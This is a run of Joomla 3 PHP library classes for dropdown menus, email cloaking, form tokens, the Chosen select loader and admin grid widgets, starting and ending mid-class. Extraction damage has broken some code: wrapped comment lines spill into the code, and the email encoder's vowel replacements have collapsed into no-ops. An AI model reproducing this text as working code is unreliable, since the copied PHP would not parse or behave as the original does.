static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a featured item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function featured($checkboxId, $prefix = '')
{
$task = $prefix . 'featured';
static::addCustomItem(JText::_('JFEATURED'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unfeatured item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unfeatured($checkboxId, $prefix = '')
{
$task = $prefix . 'unfeatured';
static::addCustomItem(JText::_('JUNFEATURED'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an archive item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function archive($checkboxId, $prefix = '')
{
$task = $prefix . 'archive';
static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an unarchive item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function unarchive($checkboxId, $prefix = '')
{
$task = $prefix . 'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a trash item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function trash($checkboxId, $prefix = '')
{
$task = $prefix . 'trash';
static::addCustomItem(JText::_('JTOOLBAR_TRASH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append an untrash item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function untrash($checkboxId, $prefix = '')
{
$task = $prefix . 'publish';
static::addCustomItem(JText::_('JTOOLBAR_UNTRASH'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Append a checkin item to the current dropdown menu
*
* @param string $checkboxId ID of corresponding checkbox of the
record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.0
*/
public static function checkin($checkboxId, $prefix = '')
{
$task = $prefix . 'checkin';
static::addCustomItem(JText::_('JTOOLBAR_CHECKIN'),
'javascript:void(0)',
'onclick="contextAction(\'' . $checkboxId .
'\', \'' . $task . '\')"');
return;
}
/**
* Writes a divider between dropdown items
*
* @return void
*
* @since 3.0
*/
public static function divider()
{
static::$dropDownList .= '<li
class="divider"></li>';
return;
}
/**
* Append a custom item to current dropdown menu
*
* @param string $label The label of item
* @param string $link The link of item
* @param string $linkAttributes Custom link attributes
* @param string $className Class name of item
* @param boolean $ajaxLoad True if using ajax load when item
clicked
* @param string $jsCallBackFunc Javascript function name, called
when ajax load successfully
*
* @return void
*
* @since 3.0
*/
public static function addCustomItem($label, $link =
'javascript:void(0)', $linkAttributes = '', $className
= '', $ajaxLoad = false,
$jsCallBackFunc = null)
{
static::start();
if ($ajaxLoad)
{
$href = ' href = "javascript:void(0)"
onclick="loadAjax(\'' . $link . '\', \''
. $jsCallBackFunc . '\')"';
}
else
{
$href = ' href = "' . $link . '" ';
}
$dropDownList = static::$dropDownList;
$dropDownList .= '<li class="' . $className .
'"><a ' . $linkAttributes . $href . ' >';
$dropDownList .= $label;
$dropDownList .= '</a></li>';
static::$dropDownList = $dropDownList;
return;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for cloaking email addresses
*
* @since 1.5
*/
abstract class JHtmlEmail
{
/**
* Simple JavaScript email cloaker
*
* By default replaces an email with a mailto link with email cloaked
*
* @param string $mail The -mail address to cloak.
* @param boolean $mailto True if text and mailing address differ
* @param string $text Text for the link
* @param boolean $email True if text is an email address
*
* @return string The cloaked email.
*
* @since 1.5
*/
public static function cloak($mail, $mailto = true, $text = '',
$email = true)
{
// Handle IDN addresses: punycode for href but utf-8 for text displayed.
if ($mailto && (empty($text) || $email))
{
// Use dedicated $text whereas $mail is used as href and must be
punycoded.
$text = JStringPunycode::emailToUTF8($text ?: $mail);
}
elseif (!$mailto)
{
// In that case we don't use link - so convert $mail back to utf-8.
$mail = JStringPunycode::emailToUTF8($mail);
}
// Convert mail
$mail = static::convertEncoding($mail);
// Random hash
$rand = md5($mail . mt_rand(1, 100000));
// Split email by @ symbol
$mail = explode('@', $mail);
$mail_parts = explode('.', $mail[1]);
if ($mailto)
{
// Special handling when mail text is different from mail address
if ($text)
{
// Convert text - here is the right place
$text = static::convertEncoding($text);
if ($email)
{
// Split email by @ symbol
$text = explode('@', $text);
$text_parts = explode('.', $text[1]);
$tmpScript = "var addy_text" . $rand . " = '"
. @$text[0] . "' + '@' + '" .
implode("' + '.' + '", @$text_parts)
. "';";
}
else
{
$tmpScript = "var addy_text" . $rand . " = '"
. $text . "';";
}
$tmpScript .= "document.getElementById('cloak" . $rand .
"').innerHTML += '<a ' + path + '\''
+ prefix + ':' + addy"
. $rand . " + '\'>'+addy_text" . $rand .
"+'<\/a>';";
}
else
{
$tmpScript = "document.getElementById('cloak" . $rand .
"').innerHTML += '<a ' + path + '\''
+ prefix + ':' + addy"
. $rand . " + '\'>' +addy" . $rand .
"+'<\/a>';";
}
}
else
{
$tmpScript = "document.getElementById('cloak" . $rand .
"').innerHTML += addy" . $rand . ";";
}
$script = "
document.getElementById('cloak" . $rand .
"').innerHTML = '';
var prefix = 'ma' + 'il' +
'to';
var path = 'hr' + 'ef' + '=';
var addy" . $rand . " = '" . @$mail[0] .
"' + '@';
addy" . $rand . " = addy" . $rand . " +
'" . implode("' + '.' + '",
$mail_parts) . "';
$tmpScript
";
// TODO: Use inline script for now
$inlineScript = "<script
type='text/javascript'>" . $script .
"</script>";
return '<span id="cloak' . $rand .
'">' . JText::_('JLIB_HTML_CLOAKING') .
'</span>' . $inlineScript;
}
/**
* Convert encoded text
*
* @param string $text Text to convert
*
* @return string The converted text.
*
* @since 1.5
*/
protected static function convertEncoding($text)
{
$text = html_entity_decode($text);
// Replace vowels with character encoding
$text = str_replace('a', 'a', $text);
$text = str_replace('e', 'e', $text);
$text = str_replace('i', 'i', $text);
$text = str_replace('o', 'o', $text);
$text = str_replace('u', 'u', $text);
$text = htmlentities($text, ENT_QUOTES, 'UTF-8', false);
return $text;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for form elements
*
* @since 1.5
*/
abstract class JHtmlForm
{
/**
* Array containing information for loaded files.
*
* @var array
*
* @since 3.8.0
*/
protected static $loaded = array();
/**
* Displays a hidden token field to reduce the risk of CSRF exploits
*
* Use in conjunction with JSession::checkToken()
*
* @param array $attribs Input element attributes.
*
* @return string A hidden input field with a token
*
* @see JSession::checkToken()
* @since 1.5
*/
public static function token(array $attribs = array())
{
$attributes = '';
if ($attribs !== array())
{
$attributes .= ' ' . ArrayHelper::toString($attribs);
}
return '<input type="hidden" name="' .
JSession::getFormToken() . '" value="1"' .
$attributes . ' />';
}
/**
* Add CSRF form token to Joomla script options that developers can get it
by Javascript.
*
* @param string $name The script option key name.
*
* @return void
*
* @since 3.8.0
*/
public static function csrf($name = 'csrf.token')
{
if (isset(static::$loaded[__METHOD__][$name]))
{
return;
}
/** @var JDocumentHtml $doc */
$doc = JFactory::getDocument();
if (!$doc instanceof JDocumentHtml || $doc->getType() !==
'html')
{
return;
}
$doc->addScriptOptions($name, JSession::getFormToken());
static::$loaded[__METHOD__][$name] = true;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Utility class for form related behaviors
*
* @since 3.0
*/
abstract class JHtmlFormbehavior
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the Chosen JavaScript framework and supporting CSS into
the document head
*
* If debugging mode is on an uncompressed version of Chosen is included
for easier debugging.
*
* @param string $selector Class for Chosen elements.
* @param mixed $debug Is debugging mode on? [optional]
* @param array $options the possible Chosen options as name =>
value [optional]
*
* @return void
*
* @since 3.0
*/
public static function chosen($selector = '.advancedSelect',
$debug = null, $options = array())
{
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
// Default settings
if (!isset($options['disable_search_threshold']))
{
$options['disable_search_threshold'] = 10;
}
// Allow searching contains space in query
if (!isset($options['search_contains']))
{
$options['search_contains'] = true;
}
if (!isset($options['allow_single_deselect']))
{
$options['allow_single_deselect'] = true;
}
if (!isset($options['placeholder_text_multiple']))
{
$options['placeholder_text_multiple'] =
JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS');
}
if (!isset($options['placeholder_text_single']))
{
$options['placeholder_text_single'] =
JText::_('JGLOBAL_SELECT_AN_OPTION');
}
if (!isset($options['no_results_text']))
{
$options['no_results_text'] =
JText::_('JGLOBAL_SELECT_NO_RESULTS_MATCH');
}
$displayData = array(
'debug' => $debug,
'options' => $options,
'selector' => $selector,
);
JLayoutHelper::render('joomla.html.formbehavior.chosen',
$displayData);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Method to load the AJAX Chosen library
*
* If debugging mode is on an uncompressed version of AJAX Chosen is
included for easier debugging.
*
* @param Registry $options Options in a Registry object
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function ajaxchosen(Registry $options, $debug = null)
{
// Retrieve options/defaults
$selector = $options->get('selector',
'.tagfield');
$type = $options->get('type', 'GET');
$url = $options->get('url', null);
$dataType = $options->get('dataType',
'json');
$jsonTermKey = $options->get('jsonTermKey',
'term');
$afterTypeDelay = $options->get('afterTypeDelay',
'500');
$minTermLength = $options->get('minTermLength',
'3');
// Ajax URL is mandatory
if (!empty($url))
{
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Requires chosen to work
static::chosen($selector, $debug);
$displayData = array(
'url' => $url,
'debug' => $debug,
'options' => $options,
'selector' => $selector,
'type' => $type,
'dataType' => $dataType,
'jsonTermKey' => $jsonTermKey,
'afterTypeDelay' => $afterTypeDelay,
'minTermLength' => $minTermLength,
);
JLayoutHelper::render('joomla.html.formbehavior.ajaxchosen',
$displayData);
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for creating HTML Grids
*
* @since 1.5
*/
abstract class JHtmlGrid
{
/**
* Display a boolean setting widget.
*
* @param integer $i The row index.
* @param integer $value The value of the boolean field.
* @param string $taskOn Task to turn the boolean setting on.
* @param string $taskOff Task to turn the boolean setting off.
*
* @return string The boolean setting widget.
*
* @since 1.6
*
* @deprecated 4.0 This is only used in hathor and will be removed
without replacement
*/
public static function boolean($i, $value, $taskOn = null, $taskOff =
null)
{
// Load the behavior.
static::behavior();
JHtml::_('bootstrap.tooltip');
// Build the title.
$title = $value ? JText::_('JYES') : JText::_('JNO');
$title = JHtml::_('tooltipText', $title,
JText::_('JGLOBAL_CLICK_TO_TOGGLE_STATE'), 0);
// Build the <a> tag.
$bool = $value ? 'true' : 'false';
$task = $value ? $taskOff : $taskOn;
$toggle = (!$task) ? false : true;
if ($toggle)
{
return '<a class="grid_' . $bool . '
hasTooltip" title="' . $title . '"
rel="{id:\'cb' . $i . '\', task:\'' .
$task
. '\'}" href="#toggle"></a>';
}
else
{
return '<a class="grid_' . $bool .
'"></a>';
}
}
/**
* Method to sort a column in a grid
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param string $selected The selected ordering
* @param string $task An optional task override
* @param string $newDirection An optional direction for the new
column
* @param string $tip An optional text shown as tooltip title
instead of $title
* @param string $form An optional form selector
*
* @return string
*
* @since 1.5
*/
public static function sort($title, $order, $direction = 'asc',
$selected = '', $task = null, $newDirection = 'asc',
$tip = '', $form = null)
{
JHtml::_('behavior.core');
JHtml::_('bootstrap.popover');
$direction = strtolower($direction);
$icon = array('arrow-up-3', 'arrow-down-3');
$index = (int) ($direction === 'desc');
if ($order != $selected)
{
$direction = $newDirection;
}
else
{
$direction = $direction === 'desc' ? 'asc' :
'desc';
}
if ($form)
{
$form = ', document.getElementById(\'' . $form .
'\')';
}
$html = '<a href="#"
onclick="Joomla.tableOrdering(\'' . $order .
'\',\'' . $direction . '\',\'' .
$task . '\'' . $form . ');return false;"'
. ' class="hasPopover" title="' .
htmlspecialchars(JText::_($tip ?: $title)) . '"'
. ' data-content="' .
htmlspecialchars(JText::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN')) .
'" data-placement="top">';
if (isset($title['0']) && $title['0'] ===
'<')
{
$html .= $title;
}
else
{
$html .= JText::_($title);
}
if ($order == $selected)
{
$html .= '<span class="icon-' . $icon[$index] .
'"></span>';
}
$html .= '</a>';
return $html;
}
/**
* Method to check all checkboxes in a grid
*
* @param string $name The name of the form element
* @param string $tip The text shown as tooltip title instead of
$tip
* @param string $action The action to perform on clicking the
checkbox
*
* @return string
*
* @since 3.1.2
*/
public static function checkall($name = 'checkall-toggle', $tip
= 'JGLOBAL_CHECK_ALL', $action =
'Joomla.checkAll(this)')
{
JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip');
return '<input type="checkbox" name="' .
$name . '" value="" class="hasTooltip"
title="' . JHtml::_('tooltipText', $tip)
. '" onclick="' . $action . '"
/>';
}
/**
* Method to create a checkbox for a grid row.
*
* @param integer $rowNum The row index
* @param integer $recId The record id
* @param boolean $checkedOut True if item is checked out
* @param string $name The name of the form element
* @param string $stub The name of stub identifier
*
* @return mixed String of html with a checkbox if item is not checked
out, null if checked out.
*
* @since 1.5
*/
public static function id($rowNum, $recId, $checkedOut = false, $name =
'cid', $stub = 'cb')
{
return $checkedOut ? '' : '<input
type="checkbox" id="' . $stub . $rowNum . '"
name="' . $name . '[]" value="' . $recId
. '" onclick="Joomla.isChecked(this.checked);"
/>';
}
/**
* Displays a checked out icon.
*
* @param object &$row A data object (must contain
checkedout as a property).
* @param integer $i The index of the row.
* @param string $identifier The property name of the primary key or
index of the row.
*
* @return string
*
* @since 1.5
*/
public static function checkedOut(&$row, $i, $identifier =
'id')
{
$user = JFactory::getUser();
$userid = $user->get('id');
if ($row instanceof JTable)
{
$result = $row->isCheckedOut($userid);
}
else
{
$result = false;
}
if ($result)
{
return static::_checkedOut($row);
}
else
{
if ($identifier === 'id')
{
return JHtml::_('grid.id', $i, $row->$identifier);
}
else
{
return JHtml::_('grid.id', $i, $row->$identifier, $result,
$identifier);
}
}
}
/**
* Method to create a clickable icon to change the state of an item
*
* @param mixed $value Either the scalar value or an object (for
backward compatibility, deprecated)
* @param integer $i The index
* @param string $img1 Image for a positive or on value
* @param string $img0 Image for the empty or off value
* @param string $prefix An optional prefix for the task
*
* @return string
*
* @since 1.5
*/
public static function published($value, $i, $img1 = 'tick.png',
$img0 = 'publish_x.png', $prefix = '')
{
if (is_object($value))
{
$value = $value->published;
}
$img = $value ? $img1 : $img0;
$task = $value ? 'unpublish' : 'publish';
$alt = $value ? JText::_('JPUBLISHED') :
JText::_('JUNPUBLISHED');
$action = $value ? JText::_('JLIB_HTML_UNPUBLISH_ITEM') :
JText::_('JLIB_HTML_PUBLISH_ITEM');
return '<a href="#" onclick="return
listItemTask(\'cb' . $i . '\',\'' . $prefix .
$task . '\')" title="' . $action .
'">'
. JHtml::_('image', 'admin/' . $img, $alt, null,
true) . '</a>';
}
/**
* Method to create a select list of states for filtering
* By default the filter shows only published and unpublished items
*
* @param string $filterState The initial filter state
* @param string $published The JText string for published
* @param string $unpublished The JText string for Unpublished
* @param string $archived The JText string for Archived
* @param string $trashed The JText string for Trashed
*
* @return string
*
* @since 1.5
*/
public static function state($filterState = '*', $published =
'JPUBLISHED', $unpublished = 'JUNPUBLISHED', $archived
= null, $trashed = null)
{
$state = array('' => '- ' .
JText::_('JLIB_HTML_SELECT_STATE') . ' -',
'P' => JText::_($published), 'U' =>
JText::_($unpublished));
if ($archived)
{
$state['A'] = JText::_($archived);
}
if ($trashed)
{
$state['T'] = JText::_($trashed);
}
return JHtml::_(
'select.genericlist',
$state,
'filter_state',
array(
'list.attr' => 'class="inputbox"
size="1" onchange="Joomla.submitform();"',
'list.select' => $filterState,
'option.key' => null,
)
);
}
/**
* Method to create an icon for saving a new ordering in a grid
*
* @param array $rows The array of rows of rows
* @param string $image The image [UNUSED]
* @param string $task The task to use, defaults to save order
*
* @return string
*
* @since 1.5
*/
public static function order($rows, $image = 'filesave.png',
$task = 'saveorder')
{
return '<a href="javascript:saveorder('
. (count($rows) - 1) . ', \'' . $task .
'\')" rel="tooltip" class="saveorder btn
btn-micro pull-right" title="'
. JText::_('JLIB_HTML_SAVE_ORDER') . '"><span
class="icon-menu-2"></span></a>';
}
/**
* Method to create a checked out icon with optional overlib in a grid.
*
* @param object &$row The row object
* @param boolean $overlib True if an overlib with checkout
information should be created.
*
* @return string HTMl for the icon and overlib
*
* @since 1.5
*/
protected static function _checkedOut(&$row, $overlib = true)
{
$hover = '';
if ($overlib)
{
JHtml::_('bootstrap.tooltip');
$date = JHtml::_('date', $row->checked_out_time,
JText::_('DATE_FORMAT_LC1'));
$time = JHtml::_('date', $row->checked_out_time,
'H:i');
$hover = '<span class="editlinktip hasTooltip"
title="' . JHtml::_('tooltipText',
'JLIB_HTML_CHECKED_OUT', $row->editor)
. '<br />' . $date . '<br />' . $time .
'">';
}
return $hover . JHtml::_('image',
'admin/checked_out.png', null, null, true) .
'</span>';
}
/**
* Method to build the behavior script and add it to the document head.
*
* @return void
*
* @since 1.6
*
* @deprecated 4.0 This is only used in hathor and will be removed
without replacement
*/
public static function behavior()
{
static $loaded;
if (!$loaded)
{
// Include jQuery
JHtml::_('jquery.framework');
// Build the behavior script.
$js = '
jQuery(function($){
$actions = $(\'a.move_up, a.move_down, a.grid_true, a.grid_false,
a.grid_trash\');
$actions.each(function(){
$(this).on(\'click\', function(){
args = JSON.decode(this.rel);
listItemTask(args.id, args.task);
});
});
$(\'input.check-all-toggle\').each(function(){
$(this).on(\'click\', function(){
if (this.checked) {
$(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){
this.checked = true;
})
}
else {
$(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){
this.checked = false;
})
}
});
});
});';
// Add the behavior to the document head.
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
$loaded = true;
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for icons.
*
* @since 2.5
*/
abstract class JHtmlIcons
{
/**
* Method to generate html code for a list of buttons
*
* @param array $buttons Array of buttons
*
* @return string
*
* @since 2.5
*/
public static function buttons($buttons)
{
$html = array();
foreach ($buttons as $button)
{
$html[] = JHtml::_('icons.button', $button);
}
return implode($html);
}
/**
* Method to generate html code for a list of buttons
*
* @param array $button Button properties
*
* @return string
*
* @since 2.5
*/
public static function button($button)
{
if (isset($button['access']))
{
if (is_bool($button['access']))
{
if ($button['access'] == false)
{
return '';
}
}
else
{
// Get the user object to verify permissions
$user = JFactory::getUser();
// Take each pair of permission, context values.
for ($i = 0, $n = count($button['access']); $i < $n; $i +=
2)
{
if (!$user->authorise($button['access'][$i],
$button['access'][$i + 1]))
{
return '';
}
}
}
}
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('joomla.quickicons.icon');
return $layout->render($button);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for creating HTML Grids
*
* @since 1.6
*/
abstract class JHtmlJGrid
{
/**
* Returns an action on a grid
*
* @param integer $i The row index
* @param string $task The task to fire
* @param string|array $prefix An optional task prefix or an
array of options
* @param string $text An optional text to display
[unused - @deprecated 4.0]
* @param string $activeTitle An optional active tooltip to
display if $enable is true
* @param string $inactiveTitle An optional inactive tooltip to
display if $enable is true
* @param boolean $tip An optional setting for tooltip
* @param string $activeClass An optional active HTML class
* @param string $inactiveClass An optional inactive HTML class
* @param boolean $enabled An optional setting for access
control on the action.
* @param boolean $translate An optional setting for
translation.
* @param string $checkbox An optional prefix for
checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function action($i, $task, $prefix = '', $text =
'', $activeTitle = '', $inactiveTitle = '',
$tip = false, $activeClass = '',
$inactiveClass = '', $enabled = true, $translate = true,
$checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$activeTitle = array_key_exists('active_title', $options) ?
$options['active_title'] : $activeTitle;
$inactiveTitle = array_key_exists('inactive_title', $options)
? $options['inactive_title'] : $inactiveTitle;
$tip = array_key_exists('tip', $options) ?
$options['tip'] : $tip;
$activeClass = array_key_exists('active_class', $options) ?
$options['active_class'] : $activeClass;
$inactiveClass = array_key_exists('inactive_class', $options)
? $options['inactive_class'] : $inactiveClass;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$translate = array_key_exists('translate', $options) ?
$options['translate'] : $translate;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
if ($tip)
{
JHtml::_('bootstrap.tooltip');
$title = $enabled ? $activeTitle : $inactiveTitle;
$title = $translate ? JText::_($title) : $title;
$title = JHtml::_('tooltipText', $title, '', 0);
}
if ($enabled)
{
$html[] = '<a class="btn btn-micro' . ($activeClass
=== 'publish' ? ' active' : '') . ($tip ?
' hasTooltip' : '') . '"';
$html[] = ' href="javascript:void(0);"
onclick="return listItemTask(\'' . $checkbox . $i .
'\',\'' . $prefix . $task . '\')"';
$html[] = $tip ? ' title="' . $title . '"'
: '';
$html[] = '>';
$html[] = '<span class="icon-' . $activeClass .
'" aria-hidden="true"></span>';
$html[] = '</a>';
}
else
{
$html[] = '<a class="btn btn-micro disabled jgrid' .
($tip ? ' hasTooltip' : '') . '"';
$html[] = $tip ? ' title="' . $title . '"'
: '';
$html[] = '>';
if ($activeClass === 'protected')
{
$html[] = '<span
class="icon-lock"></span>';
}
else
{
$html[] = '<span class="icon-' . $inactiveClass .
'"></span>';
}
$html[] = '</a>';
}
return implode($html);
}
/**
* Returns a state on a grid
*
* @param array $states array of value/state. Each state is
an array of the form
* (task, text, active title, inactive
title, tip (boolean), HTML active class, HTML inactive class)
* or ('task'=>task,
'text'=>text, 'active_title'=>active title,
*
'inactive_title'=>inactive title, 'tip'=>boolean,
'active_class'=>html active class,
* 'inactive_class'=>html
inactive class)
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param boolean $translate An optional setting for translation.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function state($states, $value, $i, $prefix = '',
$enabled = true, $translate = true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$translate = array_key_exists('translate', $options) ?
$options['translate'] : $translate;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$state = ArrayHelper::getValue($states, (int) $value, $states[0]);
$task = array_key_exists('task', $state) ?
$state['task'] : $state[0];
$text = array_key_exists('text', $state) ?
$state['text'] : (array_key_exists(1, $state) ? $state[1] :
'');
$activeTitle = array_key_exists('active_title', $state) ?
$state['active_title'] : (array_key_exists(2, $state) ? $state[2]
: '');
$inactiveTitle = array_key_exists('inactive_title', $state) ?
$state['inactive_title'] : (array_key_exists(3, $state) ?
$state[3] : '');
$tip = array_key_exists('tip', $state) ?
$state['tip'] : (array_key_exists(4, $state) ? $state[4] :
false);
$activeClass = array_key_exists('active_class', $state) ?
$state['active_class'] : (array_key_exists(5, $state) ? $state[5]
: '');
$inactiveClass = array_key_exists('inactive_class', $state) ?
$state['inactive_class'] : (array_key_exists(6, $state) ?
$state[6] : '');
return static::action(
$i, $task, $prefix, $text, $activeTitle, $inactiveTitle, $tip,
$activeClass, $inactiveClass, $enabled, $translate, $checkbox
);
}
/**
* Returns a published state on a grid
*
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an
array of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
* @param string $publishUp An optional start publishing date.
* @param string $publishDown An optional finish publishing
date.
*
* @return string The HTML markup
*
* @see JHtmlJGrid::state()
* @since 1.6
*/
public static function published($value, $i, $prefix = '',
$enabled = true, $checkbox = 'cb', $publishUp = null,
$publishDown = null)
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$states = array(
1 => array('unpublish', 'JPUBLISHED',
'JLIB_HTML_UNPUBLISH_ITEM', 'JPUBLISHED', true,
'publish', 'publish'),
0 => array('publish', 'JUNPUBLISHED',
'JLIB_HTML_PUBLISH_ITEM', 'JUNPUBLISHED', true,
'unpublish', 'unpublish'),
2 => array('unpublish', 'JARCHIVED',
'JLIB_HTML_UNPUBLISH_ITEM', 'JARCHIVED', true,
'archive', 'archive'),
-2 => array('publish', 'JTRASHED',
'JLIB_HTML_PUBLISH_ITEM', 'JTRASHED', true,
'trash', 'trash'),
);
// Special state for dates
if ($publishUp || $publishDown)
{
$nullDate = JFactory::getDbo()->getNullDate();
$nowDate = JFactory::getDate()->toUnix();
$tz = JFactory::getUser()->getTimezone();
$publishUp = ($publishUp != $nullDate) ? JFactory::getDate($publishUp,
'UTC')->setTimeZone($tz) : false;
$publishDown = ($publishDown != $nullDate) ?
JFactory::getDate($publishDown, 'UTC')->setTimeZone($tz) :
false;
// Create tip text, only we have publish up or down settings
$tips = array();
if ($publishUp)
{
$tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_START',
JHtml::_('date', $publishUp,
JText::_('DATE_FORMAT_LC5'), 'UTC'));
}
if ($publishDown)
{
$tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_FINISHED',
JHtml::_('date', $publishDown,
JText::_('DATE_FORMAT_LC5'), 'UTC'));
}
$tip = empty($tips) ? false : implode('<br />', $tips);
// Add tips and special titles
foreach ($states as $key => $state)
{
// Create special titles for published items
if ($key == 1)
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_ITEM';
if ($publishUp > $nullDate && $nowDate <
$publishUp->toUnix())
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_PENDING_ITEM';
$states[$key][5] = $states[$key][6] = 'pending';
}
if ($publishDown > $nullDate && $nowDate >
$publishDown->toUnix())
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_EXPIRED_ITEM';
$states[$key][5] = $states[$key][6] = 'expired';
}
}
// Add tips to titles
if ($tip)
{
$states[$key][1] = JText::_($states[$key][1]);
$states[$key][2] = JText::_($states[$key][2]) . '<br
/>' . $tip;
$states[$key][3] = JText::_($states[$key][3]) . '<br
/>' . $tip;
$states[$key][4] = true;
}
}
return static::state($states, $value, $i, array('prefix' =>
$prefix, 'translate' => !$tip), $enabled, true, $checkbox);
}
return static::state($states, $value, $i, $prefix, $enabled, true,
$checkbox);
}
/**
* Returns an isDefault state on a grid
*
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @see JHtmlJGrid::state()
* @since 1.6
*/
public static function isdefault($value, $i, $prefix = '',
$enabled = true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
